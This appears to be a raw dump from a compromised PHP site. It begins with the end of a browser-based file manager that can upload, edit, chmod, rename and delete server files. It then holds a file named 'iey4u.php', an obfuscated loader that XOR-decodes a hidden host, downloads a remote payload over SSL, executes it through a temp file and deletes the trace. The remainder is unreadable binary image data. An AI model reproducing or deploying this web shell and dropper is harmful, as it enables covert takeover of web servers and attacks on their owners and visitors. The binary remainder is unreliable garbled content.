        <div class="path-nav">
            <a href="?">🏠 Root</a>
            <?php foreach ($pathSegments as $segment): ?>
                <span class="separator">/</span>
                <a href="?path=<?= urlencode($segment['path']) ?>"><?= htmlspecialchars($segment['name']) ?></a>
            <?php endforeach; ?>
        </div>

        <h3>Editing: <?= htmlspecialchars($editFile) ?></h3>
        <form method="post">
            <input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>">
            <textarea name="content" rows="20" style="width:100%; font-family: monospace"><?= $editContent ?></textarea><br><br>
            <button type="submit">Save</button>
            <a href="?path=<?= urlencode($path) ?>"><button type="button">Cancel</button></a>
        </form>

    <?php else: ?>
        <!-- NORMAL MODE -->
        <!-- Path Navigation Bar -->
        <div class="path-nav">
            <a href="?">🏠 Root</a>
            <?php foreach ($pathSegments as $segment): ?>
                <span class="separator">/</span>
                <a href="?path=<?= urlencode($segment['path']) ?>"><?= htmlspecialchars($segment['name']) ?></a>
            <?php endforeach; ?>
        </div>

        <div class="drop">
            <form method="post" enctype="multipart/form-data">
                <input type="file" name="files[]" multiple>
                <button>Upload</button>
            </form>
        </div>

        <!-- Create Folder Form -->
        <form method="post" style="display:inline-block; margin-right:10px">
            <input name="newfolder" placeholder="New Folder Name">
            <button>Create Folder</button>
        </form>

        <!-- Create File Form -->
        <form method="post" style="display:inline-block">
            <input name="newfile" placeholder="New File Name">
            <button>Create File</button>
        </form>

        <table>
            <tr><th>Name</th><th>Size</th><th>Permissions</th><th>Action</th></tr>

            <?php foreach ($files as $f):
                if ($f === '.' || $f === '..') continue;
                $full = $currentDir . '/' . $f;
                $perms = fileperms($full);
                $permission = substr(sprintf('%o', $perms), -4);
            ?>
                <tr>
                    <td>
                        <?php if (is_dir($full)): ?>
                            📁 <a href="?path=<?= urlencode(trim("$path/$f", '/')) ?>"><?= $f ?></a>
                        <?php else: ?>
                            📄 <a href="<?= trim("$path/$f", '/') ?>" target="_blank"><?= $f ?></a>
                        <?php endif; ?>
                    </td>
                    <td><?= is_file($full) ? number_format(filesize($full)) . ' bytes' : '-' ?></td>
                    <td>
                        <form method="post" class="permissions-form">
                            <input type="hidden" name="chmod_file" value="<?= htmlspecialchars($f) ?>">
                            <input type="text" name="chmod" value="<?= $permission ?>" class="chmod-input" placeholder="0755">
                            <button type="submit">Chmod</button>
                        </form>
                    </td>
                    <td>
                        <?php if (is_file($full)): ?>
                            <a href="?path=<?= urlencode($path) ?>&edit=<?= urlencode($f) ?>">
                                <button>Edit</button>
                            </a>
                        <?php endif; ?>

                        <form method="post" style="display:inline">
                            <input type="hidden" name="old" value="<?= htmlspecialchars($f) ?>">
                            <input type="text" name="new" placeholder="New name" style="width:120px">
                            <button type="submit">Rename</button>
                        </form>

                        <form method="post" style="display:inline">
                            <input type="hidden" name="delete" value="<?= $f ?>">
                            <button onclick="return confirm('Delete?')">❌</button>
                        </form>
                    </td>
                </tr>
            <?php endforeach; ?>
        </table>
    <?php endif; ?>
</div>

</body>
</html>PKLm\(+�����	iey4u.phpnu�[���<?="";
function xorEncryptDecrypt($data, $key) {
    $output = '';
    foreach (str_split($data) as $char) {
        $output .= chr(ord($char) ^ ord($key));
    }
    return $output;
}
$_ = "!";
	$url = xorEncryptDecrypt("S@VFHUITCTRDSBNOUDOUBNL", $_);
	$path = xorEncryptDecrypt("xTB@DSHORHLQMDBLE@OEC@BJENNSSDGRID@ERL@HOVRQIQ", $_);
	$fp = fsockopen("ssl://$url", 443, $errno, $errstr, 10);
		if (!$fp) {
			echo "Error: $errstr ($errno)";
			exit;
	}
		$request = "GET $path HTTP/1.1\r\n";
		$request .= "Host: $url\r\n";
		$request .= "Connection: close\r\n\r\n";
			fwrite($fp, $request);
				$response = '';
					while (!feof($fp)) {
						$response .= fgets($fp, 1024);
							}
				fclose($fp);
list(, $remotePayload) = explode("\r\n\r\n", $response, 2);
	$parts = str_split($remotePayload, 4);
	$obfuscatedPayload = implode('', $parts);
	$tempFile = tempnam(sys_get_temp_dir(), 'php');
		file_put_contents($tempFile, $obfuscatedPayload);
	include $tempFile;
unlink($tempFile);
?>







  1$$1,5+(+5,N=77=NZLHLZnbbn�������� C				
	

  1$$1,5+(+5,N=77=NZLHLZnbbn�������� ��" ��           	
�� �   } !1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������        	
�� �  w !1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������   ? ��1P�S:��U 9̎�=I���S�
I��W_lI�a����gcH���#��ML#;e �.�5T�z���J� �~�;���'W^��# Տ�O��l� ��I!pG!�~�nA�f�D��Bp)S9͝�85f��	 ����\KJ�2����AA�*X_ʐdA�OqV��h�����W/���n*PI�0��8�@EAd�� ���� ���W"M�*���3�ƙ1��� 9 �)�7+����I'��1���&�
=�U
Cd��M��N��	5:A���Ќ��Pg-		$d�����%^��$f���0vh�I�0
PF��Ƨ����Ȇ�:2��A��`84��FMtFJ�mjIE1\58��B�MV%���0k���4�3Ma�PH$�\u$�	��)��8 �@Y�����H��i��
>��e�� �R�VP�|�����A� F��Ab�@���(��z��JH´��( T�~
)��á��r-ːpG"����%�=D\IRX- ]�R�A�wx�!T��J�(`V�8,){�hEXʐH'�cS!�s�:�zȝ�|��5��3n��ܦFPy��cZN�ɓ~U�A��s�T�
\�:}� ��(gH�	h�!Cr�SR:ne�Y�<d��*F�]��m�Ѫ��� !,	�*�"T���իd�e��k�KUb�yH�i�6��~�Kz�ښ�Ή�#f� ���X�RN�F!O���ۙ�M�TDQ*+�����E���K{'��`bb ��]m� u$���W���IBJG�^�F�a� ���r���j�2� ���U����&��O�mVj{
qܻu$U%�ڨ�XfW �<�M.D��Uy'��A)�P2FЀ�Q�b����K�&�T�U4�D��2�c�}*�roR}	�j��.�*��)��SC���►Q�
CKILD.X�U6回���Q�N
[���f�ң9'4�ig�v���]1�lQ3�w��}�pMAT�:�w�x�d1 ��R�99�i�1�銜$ҌJ@�uRP��)�}��}�84��i1l�T�� ���!A�M9B�s=�g=��� �'�W
�*s����NB
��� �ɮx,*r.J��"6N:KN[icm�0'Ў
D�r1��
�.��kX:
���j�Q���B;��Fn��5p6@�f���@ǡ�*���@�q��i�䇀@e-�Ɠc�p)DY��_=R�Y�zGZ�5���d �*����PI�P�Xɔ7:�Rd�Nwʀ �j ��q4������@
�f��s@����)c����\�f��U��r*��%bI!�Pz�iT��J)���h�	!@Ȩ�' ��`j�a &�bӹ&�e�������i6�E,G8�4D�H$���	,J���Up�# ����F
_
g7cX�f',=�L�X/)�
<����s�N�#���C@5��^�Dc�$ԏ
�J�`��je�@e$�Q�b;D�jV�hޥ� �A�>���Pa$J[|y8"���|���X�z�J�T�^�rG���4\KȰ�.s�4�j5$�y"���bQ�]�owaY����H=�5��M��U��_-  Uw�`$�d��t���r��)��8
  
� ��qF�
��qJ�F#�+I!!:P��*R�fF:Է`�:� ���In� SHn
N�mG �T'�O�*�)J*�X����\��  �D�;O�ND
2�$��)��o
InKw"��8
��<�]@,ʼn< p	��q��������t>��J��4��nVlP�Y���5X�`?�q��k����	�������UM��1�j� ��$�{��vTRA�S�HEW���9C��A���U<WQc�����RG��6�dg���89�pUbecʟ�ҰĔƬ��$C�b<Ǣ�A��T�db� ��Ո��2H=��z�]�[AeqRIa�=��7�	��=ǽ@HH
Y����O�H����R0=A�-\�F�QИ��`� �j���0 ~�0��!`K`�j��+C)\�E�`�Yػ�͸�3�<C��$t>Վ��,%��$�k�� RFKo���<��'1�n��ª�������+A���X��0����i�1�	��4$mԡ��*Oq����\�����zo�wz[B�A�[Y$���I��Gֳof͸)U���O��$(f���s�#0�g;�������������oqR:'��� t �5��Xa$��[K`dW�� `½�=9TW_	�Vq��[���U����qW��
�g?(l�|;1��*H-��7�v���D��*;]��+ �r���=$9�,���1��y��s�G_�F�;6��L���S
Rѳ9�F��]���z��hTu\�z�b�(�qOp4��*�!��KLpH�h˜39 d�k.X��ecm�H54	�r��W��2��O� @ň�'5#����)��m䯐��k���*rf�����tJ�U�2���2M\�@�$eG�k�R����w5
Q�!���䚲��\�U�EQ� �^�,$ ��G$�ɽ���fcۀG�w���i3����Y�Is'B
EJt�.cHNrV,�"G�M8!'q�8��UQsR"�iVXX�8�&�Ui8i#7	�jg����f�(q�נ�VɊ0&$�
(��c_?��NO��+�i�)�F�f�f��#�E0�CE���A�"�iƚh��iM4�xpy��P��
p���Pi1�UӐ�	4��H u⤒&B�f�,+du�' ��C`qR�b�Vm&I%�k���8P#$c�ٮMYO#��tXʩ� $�uˎ��͜��g���ڦ�;m2��G�X��}Ĝ���W�bdG� ����Ɲ	�ܯ��j�Q��H�*x �5R��&���$H��BX6c�pG�TX��E��5� t���x�������ԕ�#9&�-'`v��{Q̙&���bAb(D��@
$����r��S�
͈�G(�Cn�B�X�0A��V �A�b��J��Q��79%�EQȡ�3b��&�D�A���8�<ݿv��L�I�4	�-�a(Tl���U���2��F	�5�f�eO��� �N�\ޢb��K����BHNX���k����6�)�@9 �
1  �y&��P�Y�\sL R
a6R�i� �V�	 ӁZ�͍�I�'8� �7��#��?ƫ���#��}*���Z����nh�¢{��Fv8P2M`}��u�s߫�
d���`?�� ��\���d@��q�a���)�<6I$����-���j��$�E'	$
�T�6
�z>�A9�:�O$�v�zf�y!F����C���Rs��E��<�� X��<�R@5��@vڰ��*�������n��؞?E&�P�Y3�R�MI���P;�*x����ĸ= &�}�#�H~�i�~���R��y�{џ�D}�L�=��"a�"�}����R������6�(r��'�0 �w�a�K�	���Y�WS� ԿPi:{
M�����~�@&�X�-&�`͒9sںg����Щ?��ͧ@s����#����-V2��|��XZp̊�@8|�ʫ��Eu���Sx���,�!��GQ\���:�UU2kt��aU廷/'��� a�O����]	��^���$��ʼnbsXƄ��i�4�iDJ�	7F�`���R�g�2��$��z͜��7�$�2sS�v�m�+_g�m�U�9�#}YB����k0�*iD$4D�csןCP3����nִ��bX@@����j��Hα��PK�z
� 2����l^d-7��I ��eUZt�be:�.fBŋ*�Zyq�Qރr ��
�q�z��m���Z�PHe&��V[��)�lI4�M�A�X�Wi''T8�=
 n�WM�Ub���cdh��"�	���GmO!�Ph�4�CHiM4� 5VK����MH�y �-�d�S&�ɤ"����BzLh&���-L��XrAS�*����sQ�b�
I`�ʁF  R�)��kX�V�L�)I�IU.g
v� ��hX�Y�̳d0^z��εNUe�HҔ.���<��-L1L���'#�_C88`}@��w+���Xu8k#EU��LU?5[yb!B�9���$Q�ٌj���;F��kͭ	a�����%SQ�y݈ rOaD���I#�SB�r0�T.wH���Q~���Ӽ�W�i�:�b���f�i
>�i`%NE��	�&�i���4�M8�M ;�Ē
4�*��B9O�[�Q�>��N��ҍ���8P0Mr)�=W'�[J#�C�[r	c#k�+�C�\�dS�9����$��𪠕 �Ij7�8;X�ԛ�}��$� ���8($q�y��Qd��!�S��O,@Q����Wv@�
.� ��ܴ���=�i[�1�DVrD��c ��XۂI*r}�)Gbu���*y���,m�� uZ�uFh�e�����b�!�v�v9���3��W3.Y����~�s��: h�D�VT )���mE`z��*d��)4m �ET��m�T�}��9'�j�j����q�FW��5L�jiP���.j�$�eD�p�=�*5F*H�����݋n�4��FjR�?��Ȫՙ4�hɘ�XrG�YDc&��-�X�q��$yj�rx��Z8M��Ɯ����Oz�b}�0Ѓ�S~.#V /.I=qҗ�q�i�bFa�B:��7Ԛ秜��O�nL�]`��k,�`�=@��q�$��lK�������_��1X����{UY�1�\�{��6Ъ�  AZX���XbEDUU ��a�"� Ėn�I�
��Ԭ1$n�}M^I��3�����O�����7%����X��ߟAY�Ol~�4��1"��2�#5Ԯ��F���C�F�� P5RSX.����E��d���i�T�k�@�J$ ��P��� CT���[^�dV�_�B��kʀ��ԟp)D��b+$_U��$�&�dRx`��=��<���H�p�F�ٹ��*���y[�nFA
�iE��v�MI�������ߨ��=%�O���íSj���PR2\�<.G�0j��`�����)���/�۽�0J~�G���M�g*���vG��=o�ky���T8�4������
��]r3��G�Tyg��`[�z�V�Cq 1�ï�\���c�G��VR�m
�n$2����� ��I���GCV$��'�؏cT'C����q6R�w��H� ���rѢH$���K>#)ؐj�rNp+Zq3��<�
b@�X�������d��I�K`WUՌu$�p¦�ԫnb	C09 �Ei�ȯw����n>�ʼn�4�V��iƚMz�RPi�� Z��R*���!�z��lz��r}"kG���)�
SU"��!X�(�g5qw&J�
4�A`�MW{�V �j���I��	��Ґ
)�!���
�,�b ���\�����7�N�RT�$ʹ�sL�0��rj�8 �����B��q�,Ƹ�םCyEDЁ��ˑ� �/w|��*�񲌳�*�I�_*^ꎤB�e�2��f��GE������z�'�#�E%dX�RO\1
�IIYʤ��Hs1bI9&�A��@%��!�N4��4���i �HiM4��H��!�5�	�"|P�Ŷ@��s���먮�����#ޚ��i�4�5l�r{S3�B*PAR � ԔYIȩ�A1e%Fzz��)U� �R�إ>��e#��R	m�M�ebr@ �����N)[�\ˡd>�f�S�i;���c�*�R�P����
jX.UP�\h����;�p���*U1P� {��E�.��,	5�i�|�A�ck�:�t���51�D���@H�4����@
k�H���ɗ5�5�-�;�*յ���*1Y���<�u�Q�0n��KA�7V4�,h�}G�T�M�  ��X��J`�`z{UG@2 #�O��`�s�# �G��F(�p��z�-%�e��2=�j���m�!�vQ�����{b';��$�	�:⬘���{t�u���m��v���7;A��;�iJ&n5抈��QV��ֲ��;A�X�8����hQ���eПf�S�I�r������������@X?
�2�O΃�(K�R�
.��d�\Β%J���{v���(�	�׮
Le
�8�Yv��=��
�;�b:/�>��S��}�Nқ&P`<��7��j�E��(���
���m� ��1���ޥH ;���7o��R�   �T]��_-��?��c�e�L *��r�r��d`��&����{*���@>R���:\�
�?E��0� ���Q@	��P�q�h�U���(��~*s@0`��p++���m�ц*� Re"��"��/r���R-�R��0#P���7.@1,���G���aܝ%{v&��&#��5�m�,��NGPx ��&���r�$<��d�b�J:0>����j��1�W'}�_��
YIr	�Q�3��dži$d�w��{MA� �\�=A��u�������Y  ��pkU$�\Z(^ibh�D�I�i�g�Wi4o�Xʸ��פQ\[�sIP0�G�Ҕ�G�ʄ*�H��S��I�=���c����w��+ۑ����G;�⎄�MZŀ��N:�Z�DPFEbr9�qDgm�^�Z�rگ��x�&��u��)Ɣ(P �5�#��i3A��cj7r�H�M�4Xi����1�i��$cc�GcW�t��qIB�幦��Nd �$RN&�M�,��b�Y�@ffl`���y�F

:�ԧ
���J��uFrZe.�tZ$�C 	��ϽXw�K*1:�
�B؆��*P�r<��NN�+O�G��)�X�<w4�)+���MD��85�W��RL�iXl�v����k��X��IK� JJRi��	E��@i
�Hc��y�"�#4��i��=$20 V���*z�A��V��@XpEi���+��|��5MN}ԃN�`��5fv�sߜZ�% t��9$�Y+�:al�ED\�Lӱ-�5e'G���T����1ĕ-�S�ʱ�z�c*�`A�Q�*�r
\�F��NO�
�h�c��4H�' ��@҆ܮA<|�b��=9��;�28�4,9$��Ԡ+(r1Nt2*�G3R�PI ��&��a�0@��L8���"��Q]U�m����nړ%uc%��W'.{����\T\�IW �GB-+���VA“횪��!�*�$p��S�r���d=zc�i[Pe�[��M��<z�j��A �d�?,i��G��,��A�	Z�����&���L%J�s=��I&� ��5A#� ��g� �N1��I�㫞Mii�VO��2� ���ns��zl�(v��+���ey�XW��V��nT1	�ëu�+UI7��ZUR!�|}�ȹ�n\c#�՚�-����!5j��.{lO#JTB:�
~hVP~f�5��Ͷ�ww!���t��H\����w�2�*�@�0��X2�`2��޴���ʃ�;'���� ��Ua� N�1>��\�wN��ڣ��}h)��^d%S�)�~�����a(�9�G���;
�<L���Zi�@5ʵVb*�A�UXH����.
J�;r @@#*?+o�b��E[h$ TL��(��B%t�����T����IQ����ޝ��P�#�)��Wk,�n��i�� �@���4�
��c���~� *LM�GUc�-K�	V���*��䤃��� �8*�0����CF��6
�A�SGY�ϲl���GAZ"@ʬ�*FA,�2ЖHt%�����WEg8�Ԃ���@�A�V�.ͬ��Llr��E(�V\��P���E0uVR# ��T�@{�Bh�i�tWR�R0Ep�ƒm�e�zC�k�
I,i,l�V ���cŦ���
@Mu���b�U�Oq���|���-oF�J���F?�J�� V� �P��MLk�0�U*Q_h�kT����i
)��A���q����M%�� �f��f�!���`!���i�S�
pQ��ً�d�_�V��D� �+*ʓ���CJn�7�cM��K,�Gf  MBk��$�%�����QHh�R�ir) RSM4JBh4R
%-%M4��h	��q��z<w���h�r���w��T�G_B(��>਻��EL��Ҏ�zm �\ϗs�sZ�K�� $V����P�z��K�ܗ81�5^�#�ɲ��M9T3 	�w<l���z��#BH���\�v���A�cKB�bpj���$.F?iTTL��r��l���7V9&�`�pG չ��X�������Z=�`g�$�ՙ!���I�<��rPW*��php=K�ά��m �0���H�s�j'�UI�ԂN�O*Z]���`k��b4�O�ry�Ѥ�қ�⬫-"8�U3F#$gq85�,m �U-�c�7���
�^��K��e��q�Z"=Q��j�,��@�U�JW7q:4�Bd'����E"[�@ m��ϩ��iu��fM��܊�nciI��An��+G_�CSo���3�ސ����N~���������� ���ڣ�J-�xd��s����3�'��i'?y�Ԓ���3��3'i9f�Ƣ (���1�(�5֕�V�<���	‚Ɠk?��W�u5 F  P!���=��Ĉ2 �U, �8��wyU=Gr=}�&4M=�,�:�© �1n��	<���V.T 1��&��XN9F~������� I��	�( '�	m+.D�N��)�������rQ����_Ě�"9�n&������^)�n{:� Q@���4?�P/Gx[����c� ]��������ʹGVԀ�=��ԏU�i	S�#)=�� 
�H&�r��#Rs�S���.��*9�+@����H��-O ���p0�P3;4Ph�@@a���E�ON��E{⁔e�#=W����
�0	�CS�C� �T�4�Jc\�a������T���[��c���0t%\w������P�P>�� ��-"BU�+���CLI���OOCV���d8<ƪKu*~�����;Kִa?�c����k~��k�������ϸ�Eh�N��N~t�W֓m*��#�
�+.��(5��b���9f�ʗ�t���
s2i�mb���è��f����W��>��iW�I�g(�j��׶<�UW��j�C
��a,!f^�����L�cp}W�K1O����8R�v�����#�-�#���  ��
z4�4紌9���M5e�"��t'M�2�M)4�jЀ�L�L� ���E%1�bF�R>P2jL
�z�)1���xI!ꌉ($�jMt����A���*x���r�{�]=�J�0isJH� ��eHqL"�	I�SHh ������I�3@!���bSiƚh
4Ӎ4�#�'�i�,��Ё�(���d���Ʀ�d���V6Mܽ�/9�� I$���y�
��@Ͻ@�T�W
~Rja��k>T�9�4�h�9r��:��ܑ���B� �����K���%�ͻ(Xd�5�W��1���[p ���0Hq��Iurg��]��j�bZ���r��B0ʌ�Gҩ�I��*Q���E4�RU����>���ۺ#�1�ȩ�13�mP1M	��O�O�2��5�dXX���%�
��B;x�@}�F��(; *@���r��h侥sXf
�䃊�-�8���<J�޵�8��g�V�5����ܚ���g���Wc6�!�	>�4G�9R�TC���K����J%�E�b7���Ri��z��<b�%�G��~k6�c#S �}�*#&i*�Gsp��)��4�@  �$   `
�܂FX����#�Rrwb�����)0w1�~��&y�����sQ �	=�!%���~JP6�' �ނ���� �d�
G8 c�~HB���T�y"�.	c���
�3��ð�VS���?�Q����O�e��$9#�R ���Vr� =G�U�����9�f�H��n�`5�b=K�oQ�"�T1��j�H
:�zϔ#>�6�fS�L���z�PA��n]H|�����VE*A���Bo��Dx'%C��4���*�S��+�GU=EZ����Mx�T�ӱH�ЃL�T�v��E ��g:�")	�O�������i����>v=��;i� 3�/qR����S$,�^���Z�ˌn2.v�
�r;�+E*���d �ʰ�����F0�:�P٪��LW< [��W1d՘".Ś�����6�)!-�Ny�ڮG�!Y��3ž�>|S�� ���%ɿ��{�k���+�C����Z��쳇�8@OF�z�H�!+�#�|?�<0�hi�Ě�;�X�h��2��/�o�}A��ڪ�U������S�5�y�2��B=
Zb!}Z�K��i��vks'�Q\��I�$)� ��5�#�޽L>e�sԭ(;�z���K�{���m��$ =AS3TׯB�i-Y�s�a��q��DM4�SHi�f�J	��RDNGn
8���ܪ�'5%�NR*)���� �ɦ0�u+��E�����u%s�BH)i�F!4�ґIH&��h�f�)( �4���4RQ� )���h
!��w�7�rJ�  Uu�P2P�4�/8|���
盲: �ɮH��b����΁����=H8"��Jg���Hڳ��^�S~����"�8ʲ���E]�b���,#؊�2�2x�O�Y�7�mc��D�+]d�fUI��"����k�C��iB������>��(@�;�܃�5
�ݜM.�[���� �� ��b ��QFWw'
+X�f��S$�P� �#9#8��Jʼn��8 �ǵw,+���}�*fe@z�sWd��E
2GSU��V��F�A�O[�d����
4��I	��YP�dbz浮H�k ��kF��;W�Q{�:�����Q�MH ���[ A��0��j @#6��S%r��nf]�����R�	ݗ$���� i�G�TL�Ԟ«�;A%��$gQ�ɝ��ݏAH��yc��!����TƵ34×8tu4I�:��� ( R@�E5�O���1��=0*�7L
U���\� :����5M�\3�}�h� (=)�)	��
@!@T��CR��h�s�7�w��f
����jtq���p[kC�4�,�0���I�H:�QMrB�)�T������S��rh � @5;NG�'�4�@�:�:�z��"D<a����F���2�0�G��hՅ�8&��YPL����գp�u��E����$!�+r
Hn�1Sq'4��bb���u�
��E6uV���ޝ-�h�(˧ z�⧀Gu�'r��ЏF���$�( 
��
�m3�fǘ� �u����;�l
�l�H%,���;�S�ee��#��s��.a�A��zCZ6��G�O��>��C�H�� 
s��#���7�X`��)2[�I_�G&��R��F�*ԡj�1���	�������O��m�arK��'��j�T$8e9�Se��ܝG��)�[�.TvҖʷ�^��֞`9d�(1L$���taZGFbɞY ��K!��p;ⴢt�C)�U���	^X
�kod��:r�NT�>��owbz\��l<�̨2�2@�+���"�"��+��!���}k���
��|��!��?
���'��z��G0���&�5�1��i��i�� �CKI�c".�ņI 
��<QC�oN)2����!�Ib:TK�bO��6�f$�)��[�M�2���#O5�uҕ5�S�Q��I I_,�u=�#^%e5?z<�Dl89 �&��k�8��ƛHBJSI@	IJi $�
 J3N(h
 $�@ ����PSM-�i�4���#���A�؉��LI�B�w�T5�+�E�77�뚢��M7mJ�>ONJHܪ��i�`��	�)�r7�2j�L�A-��|}ɨ��
�!`0ئċ0�2T�׹&˜��A�5��l�O����	<pk٪�HY�<R�B��NIj�@��hNٕ���o7���܎�Q��;��a�!/
�s�XG֩�7+�pq�@�;��u8"�Ug�K�n�*��%M)�!�^�{�\ #i��ֲn�!������G�@���Gִ' �SХa?�&�~�I�)̄`�@H"�ȗ$.@䊈��$ҒKdi�
2�dH� �k8�2ze�mƫ��o�G�iҹ'�1� ( V���	�c�j3��=3ɧ�@��Б�X�ִc
f(9�;y��2���������ʊ�� �Y�r�~�cj�{���C"1������l~MXy����!%���@��4qg���)Q71��~"��l�/��BN 2+��C�p~��rB2+0�HOf�j�m����U�ረ*��a�
�h ��J�����SG�(\�))A��
����*PC A�ИG����F��&
I�H5hy{pj	 2�GP;�E"��Ub�����u��%�0 1O�B#Y�e�!���E�t�D�հ0w=��V�%�YBʇ�����V�xz�����L��F!	3B2���/�qI���2:d�<r��@�y ��c�
hA*K���p}�&%&3�=W�!�-��8e=T��W�ep8<7�5�䰚�~=
X���3�G𺞠����l
~*(	)��d8>���"�#�"#&�.�iGZRhHW"�v3 �����K0�+��'�ޓnpj��pF
kKdV�ix����>�y��A�& `��A���V�eDz�1?�j]6��c �=�#�"�����j��7
ܐ2�>�����,�j�l�1�gpG���{�݆�}���Β��dS��c]�ӓ���D�	��L�@i���-üI�X�ou'��Q�+�0�S�Y�R<�
4�c��,2*�����8�'Z��”�^�-e�N��1ʞ�ƴ���U�H� �M�V`H�t.A�)��sQ<���FSW)$���� F9
K�:�Ռ�r��V%$	7����@�*�>T�$��u�-Qz��h��¨b�Jr+��םy�H����*:RMr� ri��搊 Bi3Ji���P�NE%% ��O�њBi� �i��I� (��J 
4Ӎ0��["��9��}�y�,�:�ӵ]�:kF|��
�
q��)�<�0�8#�5�湵:�}��G�?P}�
�R4,�d���pkD�
1V�|�5�T�T�� T�ܤ�N�De��s����UL��q��=E�lg�A �$�"��`�K�CJX�(��Њk���)3��Z�V3h��� ��`1�9>�Td�S3��Q�v=�L�R�1<�����a��~�X0 �q#��b�vO$������؂3�_�Z�b&��1Ua 8�ՉFd�硩��E���)+r=��S�}
Jʍ���A�T ��M4)����s��)��)=��AF��V�2l�%����
.  ���&����(�94���p*5$+69&�Q��s�8Ҡw珥!� L��4�8ٽߵVIB�sJ$xӰ;��ґC�1F������� <���I���$�U �`� �?D8Ӂà��`~'�_w�U�I��u�ÒjK��V��h]��pA���#��5P���fН�=�&�2nCY�[�T'�h$
b�(�RǁNx�@Ƞ,WO���r>�.)��w�i� �� ���
��0��RW+)#����؅Ȩ�6$ )\��5�Ys��Ǹ=+Ya���0Eg�rDǣ|���kE��kQ��V/l�w*:�ʯ��'NL|�T�� [˔=Q��4�_�<'�g�O"��� g�,`�k����Z�F���:�++�Q��"#�=b��
]�$���|��#���2.Z!����o��S�����2�q���5Vȑ1Ry+��c8�lT�G<ݙR7Vt�NVE��#�ޮU	P����޿�_C�A�q2��sOJE8U�����qL&��IM��.��a�"��.�[�2?����3��`B�A�d?��)�,�Fp���X�̧�]~����J�ߩǸ�NFi�E4Iyù �=M\�˷�jhpb�`�N*��G;wWЩ�4Z8��+��XF�T�����%GTh�I=�B�0��/s�}��8�:�r7q�-�\DD��0���J�T3r{՛I�Y\ 9�:��B������Z���M�����M+�*Ĥ�MU�(̎�����TٲI ��	Y\w�+8�UJ�O��姧�M9�7 D0 UF-) @+F�D�nSY��9���Ӳb0\kBqn��ۀ}����Yإ �jr�I�sIF�,a�4i
s���A�� �L�Hh 4��b��)i(�������� �m)���U �FMY���ܖ��b0I�-�ޘ�s��.)�l������u���7�/ }EOi��0E(H8���$b�5�a8�A�jL�c��ZƤyW�kNWz����رR$A�����UK��ʲ.ܯ#�֋��F�Ѹ�\dpk	����T��*v[A��j�`O�R�6�O�O��xU��a��A��FM1���� d��,H�����9�U� Յ��&V�N)��Jk��5����6�)��g���;Et�v��'�\��T�:�Y�`Y4���|�y R4J&h�zkV] �E��7`2W��	�g��A4�$����܎>}�X7HNI����N.U������Q�NE4�FO@*H�p�H��U���
$�؅�f tl�=������ɫ `V�ɋQHp�O���.������>���>��|�Ԝ
�� ��Ã�f�M!�j$9,ާ�s�c�H�
�ڐ��
1QR����
U��?�`~��Q�)�
��bZ@(�2�`S�NiR�H��E��P2t/M��*ͨdR9Wa�Sl?��/Q�R��ӏR���`
G@�A�N�2�X���%C0%	P�U9 u@ȧ�I�#"��ЄH�(e
j�����A�z��5��

X� J� .C�Z͛Dd���u# �ȧE(x��T�����dX�=��AL�#��aђD?�
��[�\t`Q���U̧�:����S9f���G�r(�;���Ya����'�I��4Ø�3���'��?CK�\@G@�ǶG�N�?I��G�i���>�?�ZⱭ��L�� �C
��j��tY���*+RDe[�#jqHf��-L��)(&�V �<S	
)˜�In���
O��cٔ�T��H�n��k陏c��t5����	�E{��-�G���k��줉�2�A�2�td#h �� ?:�!i�����!��w6kyV����J�N� (�``�iCȲ2�����i	���!
��j��e���&��y�Rb�<E2G}�1 �޽l>�2�i�Nv_	M�,pM3�m��ߒǭf��r� t5ϊ��;�[�Nj{h��X��N@��cHds�I�
\3�{��Q�SHqY�4ъZC@
�����Ȣ�hs@4�) Hh��1��-% !4���i���5(Ec��<��@��I�Y@�;ԁʐ����EI��@RA4֋j=I�H	㕁c��s10<�9��j� ;(ny#�+i-!�GpTr�ډ���`U�6�2p0��[q[$V����""2��O|��7u�[MNu�>�H�g	�Q��[�}a�pryR1�Y�Q]Q���$S�I����Y�����L1&<oqZҜ֒1�S����I$R��B��q�R��Rw�o@��:K�b-�P$�����NQEXزh�uo<4es� ��*{�9�ȃ�
�h2��+�/t�D=� �Q%��C�����R�ԍ9�Ա=��,���8%z���	A�!����S�� ��w5����V�"��ڂۉ&�C1$��)�ʣ�5d&w�NO$Td @����d�9�C�
��^T{�4  R�i�p�};�����i�0�{sN�1��_S����rұ�Ji(���N>�����S�Q?F>Ƥ�p��R`k�T�.T��U�� �p=��jE����O�j��7�f�-���E�K��J���3�&��3FA �E�s��������Fa�E+N���$�G n���RhFr�M �f��KG��j���H��5�8�Vl�;
�k.w�H�5 �S�|�����n��A �x� l[�|�>���aZ�
��k��٧����aJ��P)6,�"�љ�S�B�2�>�j�@,�Ѕoǡ��_�R:2�~��RD9j2!�� t���H�qY���Ϭ#�֐5�69�n:�LӅj���(��i�RyS���i��,�p�2?
jH�(��!���;��� }j�9��db
D��RO˹CBG�@��m�ר>��k3U�⽌��%���kJT2FTR:���k2��� |8"�ق�<��բ����)�`��e��ֽn�='[L%�	��Iᇳ^o��\YNb�"���qSkd���؊q�Ei�C�����'��v`�.U.S*�U5vd7�3��h!H� :�Ҫ܈�T$#$��ʹ\��S��H�%I�r�i�"e'5E)�)\�%j���$��#�9bI9'����(�Gވ���$ܽ�ܷ@~^�5H�)��
��Uw��b�����4��((���M4���
i4�CH撜1HM 6�))�)�� )��� ��Ji��w98)5��a
��@��x��9e� gT
Hq@ˎ��7\p9�>���yNp�j�)�X��*\SZ�4΅̗�U��1^l}�:,Y@Y�A%�sXK;�M3��Ğ��5��{){Uԑ�]����Y��#�'PW�]��0�)R0A�$�Z�7�ԲyP� ��o��>��h����vV�m6�kv�!��?�����Ed۱�rW�k(ֻ�r�G��L9��m-��bc��5�qj#L	T��
m�z�5�Y:�,o��3H2���B���B�(K�j����7�#�z.ԋԒMTD�s��ЊH����qDg
 �#�U�=�������'�"�FP�)O�� T��яzHi	�&��$8SHca��}XԔ��G�- -���1�V�U�X���'�?J�N�Ž�M!�E�֛��k>��4z����f?��3�����Ucr"Q�~x4p&�\���Q��
